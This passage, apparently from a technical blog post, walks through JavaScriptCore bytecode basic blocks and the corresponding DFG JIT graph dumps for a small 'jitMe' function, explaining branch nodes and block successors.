</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">mod</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">11</span>] <span style="color:#a6e22e">jneq</span>               <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>(<span style="color:#a6e22e">const1</span>), <span style="color:#ae81ff">27</span>(<span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">38</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span> ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">15</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">22</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc6</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">30</span>] <span style="color:#a6e22e">put_by_val</span>         <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">NotStrictMode</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">36</span>] <span style="color:#a6e22e">jmp</span>                <span style="color:#ae81ff">34</span>(<span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">70</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span> ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">38</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">45</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc6</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">53</span>] <span style="color:#a6e22e">get_by_id</span>          <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">58</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">64</span>] <span style="color:#a6e22e">put_by_id</span>          <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">loc8</span>, 
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span> ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">70</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const2</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">arr</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">obj</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">sum</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Jump</span> <span style="color:#a6e22e">targets</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">70</span>
</span></span></code></pre></div><p>The dump above lists four basic blocks that form the function <code>jitMe</code>. The block <code>bb#1</code> has a conditional opcode <code>jneq</code> at <code>bc#11</code>. Should the condition evaluate to <code>true</code>, execution jumps to bytecode <code>bc#50</code> which is in basic block <code>bb#3</code>. If the condition evaluates to <code>false</code>, execution continues on to <code>bc#15</code> in basic block <code>bb#2</code>. The dump also lists the two jump targets which are at <code>bc#38</code> and <code>bc#70</code>.</p>
<p>Let&rsquo;s now examine what the graph generated for each of these blocks would look like. The snippet below shows a truncated graph representation for the bytecodes generated for <code>bb#0</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Predecessors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Successors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#ae81ff">28</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Int32: <span style="color:#ae81ff">2</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">29</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        ValueMod(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">27</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">30</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, MustGen, loc6, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitInvalid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">31</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">31</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, loc6(K<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc6), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">32</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">32</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeeda3458</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">33</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">33</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Int32: <span style="color:#ae81ff">0</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">34</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CompareEq(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">33</span>, Boolean<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">35</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">35</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Branch(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span>, MustGen, T:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>, F:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span>, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitInvalid)
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity 
</span></span></span></code></pre></div><p>There are two items of note in the dump above. <code>Successors</code> have now been populated with values <code>#1</code> and <code>#2</code>. These are references to DFG blocks <code>#1</code> and <code>#2</code> which represent <code>bb#2</code> and <code>bb#3</code> respectively. This indicates that the Block <code>#0</code> has edges to blocks <code>#1</code> or <code>#2</code> and as such allows control and data to transfer to these blocks. Note that DFG basic blocks don&rsquo;t necessarily have a 1:1 mapping with bytecode basic blocks.</p>
<p>The nodes <code>D@34</code> and <code>D@35</code> are responsible for evaluating the branching condition and determining how control and data should be directed.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#ae81ff">34</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CompareEq(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">33</span>, Boolean<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">35</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">35</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Branch(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span>, MustGen, T:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>, F:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span>, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">11</span>, ExitInvalid)
</span></span></code></pre></div><p>The <code>CompareEq</code> operation is self explanatory, it has two edges to nodes <code>D@29</code> and <code>D@33</code> and defines flags to indicate the type of the operation result (i.e. either a boolean value or an Integer). The <code>Branch</code> operation evaluates the node <code>D@34</code> and uses the result to determine which DFG block to jump to. If the operation returns <code>true</code>, the jump to block <code>#1</code> is taken and if the operation returns <code>false</code>, the jump to block <code>#2</code> is taken.</p>
<p>For the sake of completion, DFG blocks <code>#1</code> and <code>#2</code> are listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">15</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   Predecessors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   Successors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   Vars Before: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#ae81ff">12</span>  <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">48</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        GetLocal(JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg1(O<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">13</span>  <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">49</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        PutByVal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">44</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">48</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">48</span>, MustGen<span style="color:#f92672">|</span>VarArgs, Int32<span style="color:#f92672">+</span>OriginalArray<span style="color:#f92672">+</span>OutOfBounds<span style="color:#f92672">+</span>AsIs<span style="color:#f92672">+</span>Write, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">14</span>  <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">50</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeeda3498</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">36</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">15</span>  <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">51</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Jump(MustGen, T:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">36</span>, ExitValid)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   States: InvalidBranchDirection, StructuresAreWatched
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   Vars After: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1</span>   <span style="color:#f92672">:</span>   Var Links: arg1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">48</span> loc4:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">39</span> loc6:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">41</span> loc7:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">46</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">38</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   Predecessors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   Successors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#ae81ff">20</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">72</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">67</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">71</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">58</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">21</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">73</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">72</span>, MustGen, loc8, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">58</span>, ExitInvalid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">22</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">74</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">72</span>, loc8(U<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc8), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">58</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">64</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">23</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">75</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeeda34f8</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">64</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">76</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        FilterPutByIdStatus(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">60</span>, MustGen, (<span style="color:#f92672">&lt;</span>Replace: [<span style="color:#ae81ff">0x7fffae3c8230</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x88e8</span>, Object, {sum:<span style="color:#ae81ff">0</span>}, NonArray, Proto:<span style="color:#ae81ff">0x7fffeedf2ee8</span>, Leaf]], offset <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&gt;</span>), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">64</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">25</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">77</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        PutByOffset(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">60</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">60</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">72</span>, MustGen, id2{sum}, <span style="color:#ae81ff">0</span>, W:NamedProperties(<span style="color:#ae81ff">2</span>), ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">64</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">26</span>  <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">78</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Jump(MustGen, T:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">70</span>, ExitValid)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   States: InvalidBranchDirection, StructuresAreWatched
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   Vars After: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
